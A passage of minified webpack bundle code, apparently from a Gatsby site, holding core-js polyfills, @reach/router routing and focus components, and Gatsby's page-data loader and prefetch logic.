a?i.apply(this,arguments)||0:o(this,t,arguments[1])}})},VRzm:function(t,e,n){"use strict";var r,o,i,a,s=n("LQAc"),u=n("dyZX"),c=n("m0Pp"),l=n("I8a+"),f=n("XKFU"),p=n("0/R4"),h=n("2OiF"),d=n("9gX7"),v=n("SlkY"),y=n("69bn"),g=n("GZEu").set,m=n("gHnn")(),b=n("pbhE"),w=n("nICZ"),S=n("ol8x"),x=n("vKrd"),O=u.TypeError,P=u.process,_=P&&P.versions,j=_&&_.v8||"",R=u.Promise,E="process"==l(P),k=function(){},C=o=b.f,T=!!function(){try{var t=R.resolve(1),e=(t.constructor={})[n("K0xU")("species")]=function(t){t(k,k)};return(E||"function"==typeof PromiseRejectionEvent)&&t.then(k)instanceof e&&0!==j.indexOf("6.6")&&-1===S.indexOf("Chrome/66")}catch(r){}}(),A=function(t){var e;return!(!p(t)||"function"!=typeof(e=t.then))&&e},F=function(t,e){if(!t._n){t._n=!0;var n=t._c;m((function(){for(var r=t._v,o=1==t._s,i=0,a=function(e){var n,i,a,s=o?e.ok:e.fail,u=e.resolve,c=e.reject,l=e.domain;try{s?(o||(2==t._h&&L(t),t._h=1),!0===s?n=r:(l&&l.enter(),n=s(r),l&&(l.exit(),a=!0)),n===e.promise?c(O("Promise-chain cycle")):(i=A(n))?i.call(n,u,c):u(n)):c(r)}catch(f){l&&!a&&l.exit(),c(f)}};n.length>i;)a(n[i++]);t._c=[],t._n=!1,e&&!t._h&&M(t)}))}},M=function(t){g.call(u,(function(){var e,n,r,o=t._v,i=U(t);if(i&&(e=w((function(){E?P.emit("unhandledRejection",o,t):(n=u.onunhandledrejection)?n({promise:t,reason:o}):(r=u.console)&&r.error&&r.error("Unhandled promise rejection",o)})),t._h=E||U(t)?2:1),t._a=void 0,i&&e.e)throw e.v}))},U=function(t){return 1!==t._h&&0===(t._a||t._c).length},L=function(t){g.call(u,(function(){var e;E?P.emit("rejectionHandled",t):(e=u.onrejectionhandled)&&e({promise:t,reason:t._v})}))},I=function(t){var e=this;e._d||(e._d=!0,(e=e._w||e)._v=t,e._s=2,e._a||(e._a=e._c.slice()),F(e,!0))},q=function(t){var e,n=this;if(!n._d){n._d=!0,n=n._w||n;try{if(n===t)throw O("Promise can't be resolved itself");(e=A(t))?m((function(){var r={_w:n,_d:!1};try{e.call(t,c(q,r,1),c(I,r,1))}catch(o){I.call(r,o)}})):(n._v=t,n._s=1,F(n,!1))}catch(r){I.call({_w:n,_d:!1},r)}}};T||(R=function(t){d(this,R,"Promise","_h"),h(t),r.call(this);try{t(c(q,this,1),c(I,this,1))}catch(e){I.call(this,e)}},(r=function(t){this._c=[],this._a=void 0,this._s=0,this._d=!1,this._v=void 0,this._h=0,this._n=!1}).prototype=n("3Lyj")(R.prototype,{then:function(t,e){var n=C(y(this,R));return n.ok="function"!=typeof t||t,n.fail="function"==typeof e&&e,n.domain=E?P.domain:void 0,this._c.push(n),this._a&&this._a.push(n),this._s&&F(this,!1),n.promise},catch:function(t){return this.then(void 0,t)}}),i=function(){var t=new r;this.promise=t,this.resolve=c(q,t,1),this.reject=c(I,t,1)},b.f=C=function(t){return t===R||t===a?new i(t):o(t)}),f(f.G+f.W+f.F*!T,{Promise:R}),n("fyDq")(R,"Promise"),n("elZq")("Promise"),a=n("g3g5").Promise,f(f.S+f.F*!T,"Promise",{reject:function(t){var e=C(this);return(0,e.reject)(t),e.promise}}),f(f.S+f.F*(s||!T),"Promise",{resolve:function(t){return x(s&&this===a?R:this,t)}}),f(f.S+f.F*!(T&&n("XMVh")((function(t){R.all(t).catch(k)}))),"Promise",{all:function(t){var e=this,n=C(e),r=n.resolve,o=n.reject,i=w((function(){var n=[],i=0,a=1;v(t,!1,(function(t){var s=i++,u=!1;n.push(void 0),a++,e.resolve(t).then((function(t){u||(u=!0,n[s]=t,--a||r(n))}),o)})),--a||r(n)}));return i.e&&o(i.v),n.promise},race:function(t){var e=this,n=C(e),r=n.reject,o=w((function(){v(t,!1,(function(t){e.resolve(t).then(n.resolve,r)}))}));return o.e&&r(o.v),n.promise}})},VTer:function(t,e,n){var r=n("g3g5"),o=n("dyZX"),i=o["__core-js_shared__"]||(o["__core-js_shared__"]={});(t.exports=function(t,e){return i[t]||(i[t]=void 0!==e?e:{})})("versions",[]).push({version:r.version,mode:n("LQAc")?"pure":"global",copyright:"© 2019 Denis Pushkarev (zloirock.ru)"})},VbXa:function(t,e){t.exports=function(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__proto__=e}},Vd3H:function(t,e,n){"use strict";var r=n("XKFU"),o=n("2OiF"),i=n("S/j/"),a=n("eeVq"),s=[].sort,u=[1,2,3];r(r.P+r.F*(a((function(){u.sort(void 0)}))||!a((function(){u.sort(null)}))||!n("LyE8")(s)),"Array",{sort:function(t){return void 0===t?s.call(i(this)):s.call(i(this),o(t))}})},WbBG:function(t,e,n){"use strict";t.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},WvSn:function(t,e){},XKFU:function(t,e,n){var r=n("dyZX"),o=n("g3g5"),i=n("Mukb"),a=n("KroJ"),s=n("m0Pp"),u=function(t,e,n){var c,l,f,p,h=t&u.F,d=t&u.G,v=t&u.S,y=t&u.P,g=t&u.B,m=d?r:v?r[e]||(r[e]={}):(r[e]||{}).prototype,b=d?o:o[e]||(o[e]={}),w=b.prototype||(b.prototype={});for(c in d&&(n=e),n)f=((l=!h&&m&&void 0!==m[c])?m:n)[c],p=g&&l?s(f,r):y&&"function"==typeof f?s(Function.call,f):f,m&&a(m,c,f,t&u.U),b[c]!=f&&i(b,c,p),y&&w[c]!=f&&(w[c]=f)};r.core=o,u.F=1,u.G=2,u.S=4,u.P=8,u.B=16,u.W=32,u.U=64,u.R=128,t.exports=u},XMVh:function(t,e,n){var r=n("K0xU")("iterator"),o=!1;try{var i=[7][r]();i.return=function(){o=!0},Array.from(i,(function(){throw 2}))}catch(a){}t.exports=function(t,e){if(!e&&!o)return!1;var n=!1;try{var i=[7],s=i[r]();s.next=function(){return{done:n=!0}},i[r]=function(){return s},t(i)}catch(a){}return n}},XNZ3:function(t,e,n){"use strict";n("rGqo"),n("yt8O"),n("Btvt"),n("RW0V"),n("8+KV");var r=n("wx14");e.a=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.baseClasses,n=t.newClasses;if(t.Component,!n)return e;var o=Object(r.a)({},e);return Object.keys(n).forEach((function(t){n[t]&&(o[t]="".concat(e[t]," ").concat(n[t]))})),o}},Xbzi:function(t,e,n){var r=n("0/R4"),o=n("i5dc").set;t.exports=function(t,e,n){var i,a=e.constructor;return a!==n&&"function"==typeof a&&(i=a.prototype)!==n.prototype&&r(i)&&o&&o(t,i),t}},XfO3:function(t,e,n){"use strict";var r=n("AvRE")(!0);n("Afnz")(String,"String",(function(t){this._t=String(t),this._i=0}),(function(){var t,e=this._t,n=this._i;return n>=e.length?{value:void 0,done:!0}:(t=r(e,n),this._i+=t.length,{value:t,done:!1})}))},Xtr8:function(t,e,n){var r=n("XKFU"),o=n("g3g5"),i=n("eeVq");t.exports=function(t,e){var n=(o.Object||{})[t]||Object[t],a={};a[t]=e(n),r(r.S+r.F*i((function(){n(1)})),"Object",a)}},Xxuz:function(t,e,n){"use strict";var r=n("I8a+"),o=RegExp.prototype.exec;t.exports=function(t,e){var n=t.exec;if("function"==typeof n){var i=n.call(t,e);if("object"!=typeof i)throw new TypeError("RegExp exec method returned something other than an Object or null");return i}if("RegExp"!==r(t))throw new TypeError("RegExp#exec called on incompatible receiver");return o.call(t,e)}},"YLt+":function(t){t.exports=JSON.parse("[]")},YTvA:function(t,e,n){var r=n("VTer")("keys"),o=n("ylqs");t.exports=function(t){return r[t]||(r[t]=o(t))}},Ymqv:function(t,e,n){var r=n("LZWt");t.exports=Object("z").propertyIsEnumerable(0)?Object:function(t){return"String"==r(t)?t.split(""):Object(t)}},YwZP:function(t,e,n){"use strict";n.r(e);n("pIFo"),n("bWfx"),n("VRzm"),n("Btvt"),n("/SS/"),n("hHhE"),n("V+eJ"),n("91GP");var r=n("q1tI"),o=n.n(r),i=(n("6DQo"),n("17x9"),n("QLaP")),a=n.n(i),s=o.a.createContext,u=n("94VI"),c=n("LYrO"),l=n("9Xx/");n.d(e,"Link",(function(){return T})),n.d(e,"Location",(function(){return m})),n.d(e,"LocationProvider",(function(){return b})),n.d(e,"Match",(function(){return I})),n.d(e,"Redirect",(function(){return L})),n.d(e,"Router",(function(){return x})),n.d(e,"ServerLocation",(function(){return w})),n.d(e,"isRedirect",(function(){return F})),n.d(e,"redirectTo",(function(){return M})),n.d(e,"BaseContext",(function(){return S})),n.d(e,"createHistory",(function(){return l.createHistory})),n.d(e,"createMemorySource",(function(){return l.createMemorySource})),n.d(e,"navigate",(function(){return l.navigate})),n.d(e,"globalHistory",(function(){return l.globalHistory}));var f=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(t[r]=n[r])}return t};function p(t,e){var n={};for(var r in t)e.indexOf(r)>=0||Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r]);return n}function h(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function d(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function v(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}var y=function(t,e){var n=s(e);return n.Consumer.displayName=t+".Consumer",n.Provider.displayName=t+".Provider",n},g=y("Location"),m=function(t){var e=t.children;return o.a.createElement(g.Consumer,null,(function(t){return t?e(t):o.a.createElement(b,null,e)}))},b=function(t){function e(){var n,r;h(this,e);for(var o=arguments.length,i=Array(o),a=0;a<o;a++)i[a]=arguments[a];return n=r=d(this,t.call.apply(t,[this].concat(i))),r.state={context:r.getContext(),refs:{unlisten:null}},d(r,n)}return v(e,t),e.prototype.getContext=function(){var t=this.props.history;return{navigate:t.navigate,location:t.location}},e.prototype.componentDidCatch=function(t,e){if(!F(t))throw t;(0,this.props.history.navigate)(t.uri,{replace:!0})},e.prototype.componentDidUpdate=function(t,e){e.context.location!==this.state.context.location&&this.props.history._onTransitionComplete()},e.prototype.componentDidMount=function(){var t=this,e=this.state.refs,n=this.props.history;e.unlisten=n.listen((function(){Promise.resolve().then((function(){requestAnimationFrame((function(){t.unmounted||t.setState((function(){return{context:t.getContext()}}))}))}))}))},e.prototype.componentWillUnmount=function(){var t=this.state.refs;this.unmounted=!0,t.unlisten()},e.prototype.render=function(){var t=this.state.context,e=this.props.children;return o.a.createElement(g.Provider,{value:t},"function"==typeof e?e(t):e||null)},e}(o.a.Component);b.defaultProps={history:l.globalHistory};var w=function(t){var e=t.url,n=t.children;return o.a.createElement(g.Provider,{value:{location:{pathname:e,search:"",hash:""},navigate:function(){throw new Error("You can't call navigate on the server.")}}},n)},S=y("Base",{baseuri:"/",basepath:"/"}),x=function(t){return o.a.createElement(S.Consumer,null,(function(e){return o.a.createElement(m,null,(function(n){return o.a.createElement(O,f({},e,n,t))}))}))},O=function(t){function e(){return h(this,e),d(this,t.apply(this,arguments))}return v(e,t),e.prototype.render=function(){var t=this.props,e=t.location,n=t.navigate,r=t.basepath,i=t.primary,a=t.children,s=(t.baseuri,t.component),u=void 0===s?"div":s,l=p(t,["location","navigate","basepath","primary","children","baseuri","component"]),h=o.a.Children.map(a,D(r)),d=e.pathname,v=Object(c.c)(h,d);if(v){var y=v.params,g=v.uri,m=v.route,b=v.route.value;r=m.default?r:m.path.replace(/\*$/,"");var w=f({},y,{uri:g,location:e,navigate:function(t,e){return n(Object(c.d)(t,g),e)}}),O=o.a.cloneElement(b,w,b.props.children?o.a.createElement(x,{primary:i},b.props.children):void 0),P=i?_:u,j=i?f({uri:g,location:e,component:u},l):l;return o.a.createElement(S.Provider,{value:{baseuri:g,basepath:r}},o.a.createElement(P,j,O))}return null},e}(o.a.PureComponent);O.defaultProps={primary:!0};var P=y("Focus"),_=function(t){var e=t.uri,n=t.location,r=t.component,i=p(t,["uri","location","component"]);return o.a.createElement(P.Consumer,null,(function(t){return o.a.createElement(E,f({},i,{component:r,requestFocus:t,uri:e,location:n}))}))},j=!0,R=0,E=function(t){function e(){var n,r;h(this,e);for(var o=arguments.length,i=Array(o),a=0;a<o;a++)i[a]=arguments[a];return n=r=d(this,t.call.apply(t,[this].concat(i))),r.state={},r.requestFocus=function(t){r.state.shouldFocus||t.focus()},d(r,n)}return v(e,t),e.getDerivedStateFromProps=function(t,e){if(null==e.uri)return f({shouldFocus:!0},t);var n=t.uri!==e.uri,r=e.location.pathname!==t.location.pathname&&t.location.pathname===t.uri;return f({shouldFocus:n||r},t)},e.prototype.componentDidMount=function(){R++,this.focus()},e.prototype.componentWillUnmount=function(){0===--R&&(j=!0)},e.prototype.componentDidUpdate=function(t,e){t.location!==this.props.location&&this.state.shouldFocus&&this.focus()},e.prototype.focus=function(){var t=this.props.requestFocus;t?t(this.node):j?j=!1:this.node.contains(document.activeElement)||this.node.focus()},e.prototype.render=function(){var t=this,e=this.props,n=(e.children,e.style),r=(e.requestFocus,e.role),i=void 0===r?"group":r,a=e.component,s=void 0===a?"div":a,u=(e.uri,e.location,p(e,["children","style","requestFocus","role","component","uri","location"]));return o.a.createElement(s,f({style:f({outline:"none"},n),tabIndex:"-1",role:i,ref:function(e){return t.node=e}},u),o.a.createElement(P.Provider,{value:this.requestFocus},this.props.children))},e}(o.a.Component);Object(u.polyfill)(E);var k=function(){},C=o.a.forwardRef;void 0===C&&(C=function(t){return t});var T=C((function(t,e){var n=t.innerRef,r=p(t,["innerRef"]);return o.a.createElement(S.Consumer,null,(function(t){t.basepath;var i=t.baseuri;return o.a.createElement(m,null,(function(t){var a=t.location,s=t.navigate,u=r.to,l=r.state,h=r.replace,d=r.getProps,v=void 0===d?k:d,y=p(r,["to","state","replace","getProps"]),g=Object(c.d)(u,i),m=a.pathname===g,b=Object(c.e)(a.pathname,g);return o.a.createElement("a",f({ref:e||n,"aria-current":m?"page":void 0},y,v({isCurrent:m,isPartiallyCurrent:b,href:g,location:a}),{href:g,onClick:function(t){y.onClick&&y.onClick(t),K(t)&&(t.preventDefault(),s(g,{state:l,replace:h}))}}))}))}))}));function A(t){this.uri=t}var F=function(t){return t instanceof A},M=function(t){throw new A(t)},U=function(t){function e(){return h(this,e),d(this,t.apply(this,arguments))}return v(e,t),e.prototype.componentDidMount=function(){var t=this.props,e=t.navigate,n=t.to,r=(t.from,t.replace),o=void 0===r||r,i=t.state,a=(t.noThrow,p(t,["navigate","to","from","replace","state","noThrow"]));Promise.resolve().then((function(){e(Object(c.a)(n,a),{replace:o,state:i})}))},e.prototype.render=function(){var t=this.props,e=(t.navigate,t.to),n=(t.from,t.replace,t.state,t.noThrow),r=p(t,["navigate","to","from","replace","state","noThrow"]);return n||M(Object(c.a)(e,r)),null},e}(o.a.Component),L=function(t){return o.a.createElement(m,null,(function(e){return o.a.createElement(U,f({},e,t))}))},I=function(t){var e=t.path,n=t.children;return o.a.createElement(S.Consumer,null,(function(t){var r=t.baseuri;return o.a.createElement(m,null,(function(t){var o=t.navigate,i=t.location,a=Object(c.d)(e,r),s=Object(c.b)(a,i.pathname);return n({navigate:o,location:i,match:s?f({},s.params,{uri:s.uri,path:e}):null})}))}))},q=function(t){return t.replace(/(^\/+|\/+$)/g,"")},D=function(t){return function(e){if(!e)return null;if(e.props.path||e.props.default||e.type===L||a()(!1),e.type!==L||e.props.from&&e.props.to||a()(!1),e.type!==L||Object(c.f)(e.props.from,e.props.to)||a()(!1),e.props.default)return{value:e,default:!0};var n=e.type===L?e.props.from:e.props.path,r="/"===n?t:q(t)+"/"+q(n);return{value:e,default:e.props.default,path:e.props.children?q(r)+"/*":r}}},K=function(t){return!t.defaultPrevented&&0===t.button&&!(t.metaKey||t.altKey||t.ctrlKey||t.shiftKey)}},Z2Ku:function(t,e,n){"use strict";var r=n("XKFU"),o=n("w2a5")(!0);r(r.P,"Array",{includes:function(t){return o(this,t,arguments.length>1?arguments[1]:void 0)}}),n("nGyu")("includes")},Z6vF:function(t,e,n){var r=n("ylqs")("meta"),o=n("0/R4"),i=n("aagx"),a=n("hswa").f,s=0,u=Object.isExtensible||function(){return!0},c=!n("eeVq")((function(){return u(Object.preventExtensions({}))})),l=function(t){a(t,r,{value:{i:"O"+ ++s,w:{}}})},f=t.exports={KEY:r,NEED:!1,fastKey:function(t,e){if(!o(t))return"symbol"==typeof t?t:("string"==typeof t?"S":"P")+t;if(!i(t,r)){if(!u(t))return"F";if(!e)return"E";l(t)}return t[r].i},getWeak:function(t,e){if(!i(t,r)){if(!u(t))return!0;if(!e)return!1;l(t)}return t[r].w},onFreeze:function(t){return c&&f.NEED&&u(t)&&!i(t,r)&&l(t),t}}},ZD67:function(t,e,n){"use strict";var r=n("3Lyj"),o=n("Z6vF").getWeak,i=n("y3w9"),a=n("0/R4"),s=n("9gX7"),u=n("SlkY"),c=n("CkkT"),l=n("aagx"),f=n("s5qY"),p=c(5),h=c(6),d=0,v=function(t){return t._l||(t._l=new y)},y=function(){this.a=[]},g=function(t,e){return p(t.a,(function(t){return t[0]===e}))};y.prototype={get:function(t){var e=g(this,t);if(e)return e[1]},has:function(t){return!!g(this,t)},set:function(t,e){var n=g(this,t);n?n[1]=e:this.a.push([t,e])},delete:function(t){var e=h(this.a,(function(e){return e[0]===t}));return~e&&this.a.splice(e,1),!!~e}},t.exports={getConstructor:function(t,e,n,i){var c=t((function(t,r){s(t,c,e,"_i"),t._t=e,t._i=d++,t._l=void 0,null!=r&&u(r,n,t[i],t)}));return r(c.prototype,{delete:function(t){if(!a(t))return!1;var n=o(t);return!0===n?v(f(this,e)).delete(t):n&&l(n,this._i)&&delete n[this._i]},has:function(t){if(!a(t))return!1;var n=o(t);return!0===n?v(f(this,e)).has(t):n&&l(n,this._i)}}),c},def:function(t,e,n){var r=o(i(e),!0);return!0===r?v(t).set(e,n):r[t._i]=n,t},ufstore:v}},ZfQF:function(t,e,n){"use strict";var r=n("TqRt");e.__esModule=!0,e.default=function(t,e){var n=(0,o.default)(t);if(void 0===e)return n?"pageYOffset"in n?n.pageYOffset:n.document.documentElement.scrollTop:t.scrollTop;n?n.scrollTo("pageXOffset"in n?n.pageXOffset:n.document.documentElement.scrollLeft,e):t.scrollTop=e};var o=r(n("8Y+z"));t.exports=e.default},a1Th:function(t,e,n){"use strict";n("OEbY");var r=n("y3w9"),o=n("C/va"),i=n("nh4g"),a=/./.toString,s=function(t){n("KroJ")(RegExp.prototype,"toString",t,!0)};n("eeVq")((function(){return"/a/b"!=a.call({source:"a",flags:"b"})}))?s((function(){var t=r(this);return"/".concat(t.source,"/","flags"in t?t.flags:!i&&t instanceof RegExp?o.call(t):void 0)})):"toString"!=a.name&&s((function(){return a.call(this)}))},aCFj:function(t,e,n){var r=n("Ymqv"),o=n("vhPU");t.exports=function(t){return r(o(t))}},aXM8:function(t,e,n){"use strict";n.d(e,"a",(function(){return a}));var r=n("q1tI"),o=n.n(r),i=n("OKji");function a(){return o.a.useContext(i.a)}},aagx:function(t,e){var n={}.hasOwnProperty;t.exports=function(t,e){return n.call(t,e)}},apmT:function(t,e,n){var r=n("0/R4");t.exports=function(t,e){if(!r(t))return t;var n,o;if(e&&"function"==typeof(n=t.toString)&&!r(o=n.call(t)))return o;if("function"==typeof(n=t.valueOf)&&!r(o=n.call(t)))return o;if(!e&&"function"==typeof(n=t.toString)&&!r(o=n.call(t)))return o;throw TypeError("Can't convert object to primitive value")}},bWfx:function(t,e,n){"use strict";var r=n("XKFU"),o=n("CkkT")(1);r(r.P+r.F*!n("LyE8")([].map,!0),"Array",{map:function(t){return o(this,t,arguments[1])}})},c0Fl:function(t,e,n){"use strict";var r=n("TqRt");e.__esModule=!0,e.default=void 0;var o=function(){};r(n("Bp9Y")).default&&(o=document.addEventListener?function(t,e,n,r){return t.removeEventListener(e,n,r||!1)}:document.attachEvent?function(t,e,n){return t.detachEvent("on"+e,n)}:void 0);var i=o;e.default=i,t.exports=e.default},cSJ8:function(t,e,n){"use strict";e.a=function(t,e){return void 0===e&&(e=""),e?(e+="/",t.substr(0,e.length)===e?t.slice(e.length-1):t):t}},cu4x:function(t,e,n){"use strict";n("V+eJ"),e.__esModule=!0,e.parsePath=function(t){var e=t||"/",n="",r="",o=e.indexOf("#");-1!==o&&(r=e.substr(o),e=e.substr(0,o));var i=e.indexOf("?");-1!==i&&(n=e.substr(i),e=e.substr(0,i));return{pathname:e,search:"?"===n?"":n,hash:"#"===r?"":r}}},czNK:function(t,e,n){"use strict";var r=n("nh4g"),o=n("DVgA"),i=n("JiEa"),a=n("UqcF"),s=n("S/j/"),u=n("Ymqv"),c=Object.assign;t.exports=!c||n("eeVq")((function(){var t={},e={},n=Symbol(),r="abcdefghijklmnopqrst";return t[n]=7,r.split("").forEach((function(t){e[t]=t})),7!=c({},t)[n]||Object.keys(c({},e)).join("")!=r}))?function(t,e){for(var n=s(t),c=arguments.length,l=1,f=i.f,p=a.f;c>l;)for(var h,d=u(arguments[l++]),v=f?o(d).concat(f(d)):o(d),y=v.length,g=0;y>g;)h=v[g++],r&&!p.call(d,h)||(n[h]=d[h]);return n}:c},"d/Gc":function(t,e,n){var r=n("RYi7"),o=Math.max,i=Math.min;t.exports=function(t,e){return(t=r(t))<0?o(t+e,0):i(t,e)}},dI71:function(t,e,n){"use strict";function r(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__proto__=e}n.d(e,"a",(function(){return r}))},dIx5:function(t,e,n){"use strict";var r=n("TqRt");e.__esModule=!0,e.wrapRootElement=e.onInitialClientRender=void 0;var o=r(n("q1tI")),i=n("04ZO"),a=n("DdF7"),s=r(n("WvSn"));e.onInitialClientRender=function(){var t=document.querySelector("#jss-server-side");t&&t.parentNode.removeChild(t)};e.wrapRootElement=function(t,e){var n=t.element;if((0,a.hasEntries)(s.default)&&e.stylesProvider)throw new Error("You specified both pathToStylesProvider and stylesProvider in gatsby-config.js. Remove one of them.");var r=(0,a.hasEntries)(s.default)?s.default:e.stylesProvider;return r?o.default.createElement(i.StylesProvider,r,n):n}},"dZ+Y":function(t,e,n){"use strict";var r=n("XKFU"),o=n("CkkT")(3);r(r.P+r.F*!n("LyE8")([].some,!0),"Array",{some:function(t){return o(this,t,arguments[1])}})},dyZX:function(t,e){var n=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=n)},e3iB:function(t,e,n){"use strict";var r=n("o8Rm");n.d(e,"a",(function(){return r.a})),n.d(e,"b",(function(){return r.c}))},e7yV:function(t,e,n){var r=n("aCFj"),o=n("kJMx").f,i={}.toString,a="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return a&&"[object Window]"==i.call(t)?function(t){try{return o(t)}catch(e){return a.slice()}}(t):o(r(t))}},eM6i:function(t,e,n){var r=n("XKFU");r(r.S,"Date",{now:function(){return(new Date).getTime()}})},eeVq:function(t,e){t.exports=function(t){try{return!!t()}catch(e){return!0}}},elZq:function(t,e,n){"use strict";var r=n("dyZX"),o=n("hswa"),i=n("nh4g"),a=n("K0xU")("species");t.exports=function(t){var e=r[t];i&&e&&!e[a]&&o.f(e,a,{configurable:!0,get:function(){return this}})}},emEt:function(t,e,n){"use strict";n.r(e);n("HEwt"),n("a1Th"),n("rE2o"),n("ioFf"),n("T39b"),n("rGqo"),n("yt8O"),n("XfO3"),n("9AAn"),n("Z2Ku"),n("L9s1"),n("91GP"),n("VRzm"),n("Btvt"),n("rvZc"),n("RW0V");var r=function(t){if("undefined"==typeof document)return!1;var e=document.createElement("link");try{if(e.relList&&"function"==typeof e.relList.supports)return e.relList.supports(t)}catch(n){return!1}return!1}("prefetch")?function(t,e){return new Promise((function(n,r){if("undefined"!=typeof document){var o=document.createElement("link");o.setAttribute("rel","prefetch"),o.setAttribute("href",t),Object.keys(e).forEach((function(t){o.setAttribute(t,e[t])})),o.onload=n,o.onerror=r,(document.getElementsByTagName("head")[0]||document.getElementsByName("script")[0].parentNode).appendChild(o)}else r()}))}:function(t){return new Promise((function(e,n){var r=new XMLHttpRequest;r.open("GET",t,!0),r.onload=function(){200===r.status?e():n()},r.send(null)}))},o={},i=function(t,e){return new Promise((function(n){o[t]?n():r(t,e).then((function(){n(),o[t]=!0})).catch((function(){}))}))},a=n("5yr3"),s=(n("KKXr"),n("LYrO")),u=n("cSJ8"),c=function(t){return void 0===t?t:"/"===t?"/":"/"===t.charAt(t.length-1)?t.slice(0,-1):t},l=new Map,f=[],p=function(t){var e=decodeURIComponent(t);return Object(u.a)(e,"").split("#")[0].split("?")[0]},h=function(t){f=t},d=function(t){var e=y(t),n=f,r=Array.isArray(n),o=0;for(n=r?n:n[Symbol.iterator]();;){var i;if(r){if(o>=n.length)break;i=n[o++]}else{if((o=n.next()).done)break;i=o.value}var a=i,u=a.matchPath,l=a.path;if(Object(s.b)(u,e))return c(l)}return null},v=function(t){var e=p(t);if(l.has(e))return l.get(e);var n=d(e);return n||(n=y(t)),l.set(e,n),n},y=function(t){var e=p(t);return"/index.html"===e&&(e="/"),e=c(e)};function g(t){return function(t){if(Array.isArray(t)){for(var e=0,n=new Array(t.length);e<t.length;e++)n[e]=t[e];return n}}(t)||function(t){if(Symbol.iterator in Object(t)||"[object Arguments]"===Object.prototype.toString.call(t))return Array.from(t)}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance")}()}n.d(e,"BaseLoader",(function(){return P})),n.d(e,"ProdLoader",(function(){return j})),n.d(e,"setLoader",(function(){return R})),n.d(e,"publicLoader",(function(){return E}));var m,b=function(t){return t&&t.default||t},w=function(t){var e;return"/page-data/"+("/"===t?"index":e=(e="/"===(e=t)[0]?e.slice(1):e).endsWith("/")?e.slice(0,-1):e)+"/page-data.json"},S=function(t,e){return void 0===e&&(e="GET"),new Promise((function(n,r){var o=new XMLHttpRequest;o.open(e,t,!0),o.onreadystatechange=function(){4==o.readyState&&n(o)},o.send(null)}))},x=function(t){var e=t.pagePath,n=t.retries,r=void 0===n?0:n,o=w(e);return S(o).then((function(n){var o=n.status,i=n.responseText;if(200===o)try{var a=JSON.parse(i);if(void 0===a.path)throw new Error("not a valid pageData response");return Object.assign(t,{status:"success",payload:a})}catch(s){}return 404===o||200===o?"/404.html"===e?Object.assign(t,{status:"failure"}):x(Object.assign(t,{pagePath:"/404.html",notFound:!0})):500===o?Object.assign(t,{status:"error"}):r<3?x(Object.assign(t,{retries:r+1})):Object.assign(t,{status:"error"})}))},O=function(t,e){void 0===e&&(e=null);var n={componentChunkName:t.componentChunkName,path:t.path,webpackCompilationHash:t.webpackCompilationHash,matchPath:t.matchPath};return{component:e,json:t.result,page:n}},P=function(){function t(t,e){this.pageDb=new Map,this.inFlightDb=new Map,this.pageDataDb=new Map,this.prefetchTriggered=new Set,this.prefetchCompleted=new Set,this.loadComponent=t,h(e)}var e=t.prototype;return e.setApiRunner=function(t){this.apiRunner=t,this.prefetchDisabled=t("disableCorePrefetching").some((function(t){return t}))},e.loadPageDataJson=function(t){var e=this,n=v(t);return this.pageDataDb.has(n)?Promise.resolve(this.pageDataDb.get(n)):x({pagePath:n}).then((function(t){return e.pageDataDb.set(n,t),t}))},e.findMatchPath=function(t){return d(t)},e.loadPage=function(t){var e=this,n=v(t);if(this.pageDb.has(n)){var r=this.pageDb.get(n);return Promise.resolve(r.payload)}if(this.inFlightDb.has(n))return this.inFlightDb.get(n);var o=Promise.all([this.loadAppData(),this.loadPageDataJson(n)]).then((function(t){var r=t[1];if("error"===r.status)return{status:"error"};if("failure"===r.status)throw new Error("404 page could not be found. Checkout https://www.gatsbyjs.org/docs/add-404-page/");var o=r.payload,i=o.componentChunkName;return e.loadComponent(i).then((function(i){var s,u={createdAt:new Date};return i?(u.status="success",!0===r.notFound&&(u.notFound=!0),o=Object.assign(o,{webpackCompilationHash:t[0]?t[0].webpackCompilationHash:""}),s=O(o,i),u.payload=s,a.a.emit("onPostLoadPageResources",{page:s,pageResources:s})):u.status="error",e.pageDb.set(n,u),s}))})).then((function(t){return e.inFlightDb.delete(n),t})).catch((function(t){throw e.inFlightDb.delete(n),t}));return this.inFlightDb.set(n,o),o},e.loadPageSync=function(t){var e=v(t);if(this.pageDb.has(e))return this.pageDb.get(e).payload},e.shouldPrefetch=function(t){return!!function(){if("connection"in navigator&&void 0!==navigator.connection){if((navigator.connection.effectiveType||"").includes("2g"))return!1;if(navigator.connection.saveData)return!1}return!0}()&&!this.pageDb.has(t)},e.prefetch=function(t){var e=this;if(!this.shouldPrefetch(t))return!1;if(this.prefetchTriggered.has(t)||(this.apiRunner("onPrefetchPathname",{pathname:t}),this.prefetchTriggered.add(t)),this.prefetchDisabled)return!1;var n=v(t);return this.doPrefetch(n).then((function(){e.prefetchCompleted.has(t)||(e.apiRunner("onPostPrefetchPathname",{pathname:t}),e.prefetchCompleted.add(t))})),!0},e.doPrefetch=function(t){throw new Error("doPrefetch not implemented")},e.hovering=function(t){this.loadPage(t)},e.getResourceURLsForPathname=function(t){var e=v(t),n=this.pageDataDb.get(e);if(n){var r=O(n.payload);return[].concat(g(_(r.page.componentChunkName)),[w(e)])}return null},e.isPageNotFound=function(t){var e=v(t),n=this.pageDb.get(e);return n&&!0===n.notFound},e.loadAppData=function(t){var e=this;return void 